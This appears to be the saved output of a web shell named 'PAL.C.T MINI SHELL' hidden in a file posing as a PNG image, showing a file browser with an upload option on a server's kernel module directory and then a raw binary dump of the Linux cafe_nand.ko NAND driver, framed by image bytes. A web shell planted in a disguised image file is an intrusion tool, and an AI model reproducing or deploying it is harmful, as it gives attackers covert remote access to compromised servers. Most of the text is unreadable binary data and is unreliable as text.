php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/mtd/nand/
upload
files >> //lib/modules/2.6.32-504.3.3.el6.i686/kernel/drivers/mtd/nand/cafe_nand.ko

ELFlJ4(#"GNUxe l	G7Q	2_VSÃȋK$V0K؋Vع$V0V4؃[^Í\$ӺPt$Ɖ$1S0NS\$t$Ðt&$Ét$։ʉ|$HVK؋V8@$t$|$É'1Í'S`,40,0҉40,Q,Q$,Q(,Q,,0,сp0,
p01ҋ,Q@,fp0,
0L,QDP,QH,01[Ívl$l$\$Ӻt$Ɖ|$1ɉ,$S0D$$ulډ$S0ډS4t){@t$ډl$רtt&1\$t$|$l$Éډ뒍t&S,Hȋ,%oC1tu[Í,@D$L$D$($0`D$[Ít&Su%u4[f4[ÐT$D$4(T$$0`D$T$묉'(\$ t$$,R,R,Q
tZ,0,0,It$\$L$T$D$DD$($0`D$\$ t$$(
UWVS\L$$NT$$WNW-,@<PL$D|$(,‹0Ձ<of|0WfT`u0T$TT$|$41҉L$1D$|$D$$W~3L$$1\$L$,t&^~M9\$Ml$D$u($0`D$\1[^_]ÅuTDTf띐t&URL$(TDTf0TDT0P,PP,@<T$D$D$E($0`D$\$$0t&RTDTL$$f0TDT0TTDTL$,f0TDT\$(0,@ 1D$D$0($0`D$t&,|$D$$b\uڃ1\[^_]ÐRыT$$L$ LDT\$ fL$f0LL$0RT$(LDU0LDT0f$l$ ͋
\$t$|$u{< ,t󤋃<艃<t)D$l$D$P($0`D$\$t$|$l$ $fT<딍t&'$|$׉l$ ͉\$t$uz<,t5t/<l$D$D$($0`D$<\$t$|$l$ $Í&T<둍t&'ST$(t*D$D$D$($0`D$D$[Ív'UWVS(=D$$\$<T$ i|$ 6|$ (,1BT$$|$ PB|$ p|$ 	Ѓ|$ `|$ 	Ճ,J,Z \$$S{Z4dž<džDӁ\$ @dž<	4<\$D$D$($0`D$rvD$ 8,B84<,B,B
Adž<, 
vti,xu\
)iҠ9uǡt|$D$($0`D$뗍&,h
I;@[|$ vvE|$ t#|$ t|$ t&8,B([^_]Ð|$ rs|$ t|$ t̓|$ <-@t

 ,B@t&=
11D$ (1T,zfL$\$T$D$(L$$0`D$L$],@T$ D$ )؉|$T$D$D$8($0`D$m9S&v@D$4D$D$($0`D$=!,@\$D$<D$D$($0`D$|$ D$$|$ l$ uT$$zq8,
0BXv|$ Pt9|$ v2|$ t+ʀ|$ Dڅt&T$$BB)ȉ<fN8,
B|$ `)|$ p \$$,|$D$$b\u('\$Ӊt$Ɖ|$=t@1҉ىu!tD$ًT$$T$@׋\$t$|$úl]Tcr".K#
0<vNbN[g
05v	
*6_f
	fJ	[	l	x		




Kh0
A
M









&7C_iK
Pvlqvt\ns

tUWVSփ?1f11ɉǰ9$1EC1Ǩ@Eǃ$<$t؉11ۈL$1EC@Etމ811Ή1EC@Etމ1Ѱ!1ω1EC@Etމ111EC@EtފL$ډ111Ѓ[^_]UWVS,@(=XЀ`ŅG`D$uD$$MT$1ɉDž1҉(,uL$D$
$TD$(D$$L$$T$ `tD$$^DtHPtAL$ 	ɉL$ t3t=vL$$T$ D$$1T1@1ɉD$$0C0	C,C0	CpCC@CHCL=tCLC t!tD$D$(`$=u2=D$$D$D$D$_,@$,@(,@,
uut8=tfD$T$L$D$P($0`D$7D$(`$,40,040,B$,B(,B,,B1ɺl$D$$t#D$(D$D$$,0%,p0,
p01,B@,fp0,
0L,BDP,BH=t8T,@DT$D$D$($0`D$,0=tA,0,0T$D$D$C($0`D$jǃ8}u
ǃ8(E=u ǃǃǃ`<=u ǃǃ ǃD$$ǃEǃǃǃǃCDǃǃǃ`ǃpuuD$E0L$($D$($|$D$\(`$T$(q,00TT$L(P$T$`L$,,[^_]S^dyjyja`_a\-p>e+0E
Va\eqy

	
$a*4>lzrah

mCMWjt~
vxu#,<\moz~[wg k `cWVS@`,000,(TLP`$\$[^_]h;[B}M{Zwgtimingcheckeccregdebugdebugskipbbtusedma|drivers/mtd/nand/cafe_nand.cirq, bits %x (%x)
<7>select_chip %d
ECC result %08x SYN1,2 %08x
Register %x: %08x
Corrected %d symbol errors
Read %02x
cmdfunc %02x, 0x%x, 0x%x
dlen %x, ctl1 %x, ctl2 %x
Wait for ready, IRQ %x
cafe_nandfailed to alloc mtd_info
failed to iomap
CAFE NANDCould not register IRQ %d
Control %x, IRQ mask %x
%d partitions found
CAFÉ NANDcmdlinepartRedBoot^NAND device is%s ready, IRQ %x (%x) (%x,%x)
Failed to correct ECC at %08x
Copy 0x%x bytes to write buffer. datalen 0x%x
Copy 0x%x bytes from position 0x%x in read buffer.
Continue command, ctl1 %08x, #data %d
Setup for delayed command, ctl1 %08x, dlen %x
About to write command %08x to register 0
Command %x completed after %d usec, irqs %x (%x)
/builddir/build/BUILD/kernel-2.6.32-504.3.3.el6/linux-2.6.32-504.3.3.el6.i686/arch/x86/include/asm/dma-mapping.h%d timing register values ignored; precisely three are required
Using provided timings (%08x %08x %08x)
Timing registers already set (%08x %08x %08x)
Timing registers unset; using most conservative defaults
Set DMA address to %x (virt %p)
<4>Unexpected NAND flash writesize %d. Aborting
,description=NAND flash driver for OLPC CAFÉ chipauthor=David Woodhouse <dwmw2@infradead.org>license=GPLparmtype=timing:array of intparmtype=checkecc:intparmtype=regdebug:intparmtype=debug:intparmtype=skipbbt:intparmtype=usedma:intsrcversion=3F6F444A2ADE0888D9A8C1Aalias=pci:v000011ABd00004100sv*sd*bc*sc*i*depends=reed_solomon,nandvermagic=2.6.32-504.3.3.el6.i686 SMP mod_unload modversions 686  )28@z| $(0|48<D|HLPX|\`dl|ptnAmodule_layoutiparam_get_int%Kparam_set_intfCparam_array_get'wEparam_array_setW~
0free_rs*mdnand_releaseU`^del_mtd_devicezkfree\	nSpci_iounmapث
free_irqD+\add_mtd_partitionsFG_dev_infoparse_mtd_partitions)^add_mtd_device+dev_set_drvdatavnand_scan_tailةtnand_scan_identmrequest_threaded_irq;oinit_rs_non_canonicale(x86_dma_fallback_devՙu	dma_alloc_from_coherent$'lpci_iomapw~dev_warnEkmem_cache_alloc_tracemalloc_sizes
qhpci_set_masterlpci_enable_device<dma_release_from_coherentpv_irq_opsCdma_ops˗y__pci_register_driverR0warn_slowpath_nullӶnand_wait_ready__const_udelayκ`.memcpy՗#printk.ګdecode_rs16qdev_printkdev_get_drvdataĈpci_unregister_driverq1	

2	

 !|ABbt01tbB(,04D@`cafe_nandl<d`dmodule.sig^T
	J?OA7,jUH+7iJB|ڙtdJWYĹOJLQ|\dy

T/p;BG`t1}
 t|@g`N(7>pL0	V[	mvu1HD`DH D1DKW
h2}@-my 	!6(G)	\n<|2P8d@8	8 M!eu#@+k@
AL".D
Sipv8"7Qdsz3@K[cafe_nand.ccafe_nand_bugcafe_nand_write_oobcafe_nand_read_oobcafe_nand_write_page_lowlevelcafe_nand_block_badcafe_mulcafe_nand_exitcafe_nand_pci_drivercafe_nand_resumetimingcafe_nand_write_pagecafe_nand_interruptdebugcafe_select_chipcafe_device_readycafe_nand_read_pagecheckecccafe_write_bufusedmacafe_read_bufcafe_read_bytecafe_nand_cmdfuncregdebugcafe_nand_initdma_free_coherent.clone.0cafe_nand_probeskipbbtnumtimingscafe_oobinfo_2048cafe_bbt_main_descr_2048cafe_bbt_mirror_descr_2048cafe_oobinfo_512cafe_bbt_main_descr_512cafe_bbt_mirror_descr_512part_probescafe_nand_remove__mod_description920__mod_author919__mod_license918__mod_timingtype90__param_timing__param_str_timing__param_arr_timing__mod_checkecctype86__param_checkecc__param_str_checkecc__mod_regdebugtype83__param_regdebug__param_str_regdebug__mod_debugtype80__param_debug__param_str_debug__mod_skipbbttype77__param_skipbbt__param_str_skipbbt__mod_usedmatype74__param_usedma__param_str_usedmacafe_nand_tblcafe_bbt_pattern_2048cafe_mirror_pattern_2048cafe_bbt_pattern_512cafe_mirror_pattern_512cafe_nand.mod.c_rheldata__mod_srcversion70__mod_alias68__module_depends____versions__mod_vermagic5free_irqdma_opsdev_get_drvdatapci_enable_devicepci_iomap__this_moduledev_warndecode_rs16__pci_register_drivercleanup_moduleinit_rs_non_canonicalmemcpykfreedel_mtd_devicenand_wait_readykmem_cache_alloc_tracepci_unregister_driverinit_modulenand_scan_identpv_irq_ops_dev_infodma_alloc_from_coherent__mod_pci_device_tablerequest_threaded_irqdma_release_from_coherentwarn_slowpath_nulladd_mtd_deviceprintkpci_iounmapnand_scan_tailpci_set_masterparam_array_setfree_rsparam_set_intnand_releaseadd_mtd_partitions__const_udelayx86_dma_fallback_devparam_array_getparse_mtd_partitionsmalloc_sizesdev_printkdev_set_drvdataparam_get_intcafe_nand.ko.debugŻ.rodata.str1.1.rodata.str1.4.rel.data.rheldata.rel.rodata.symtab.strtab.shstrtab.note.gnu.build-id.rel__bug_table.rel.gnu.linkonce.this_module.note.module.sig.gnu_debuglink.rel__param.modinfo__versions.rel.parainstructions.bss.rel.text.rel.init.text.rel.devinit.text.rel.exit.text.rel.devexit.textY4$`	x0	,$
 	(	< 3\/	@
70G3	x 2p(!l	4!2D!X$	`$$ d&x	&)''@
 #1$ 	7X`7L |	888x?49p [GAiIO(IA
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`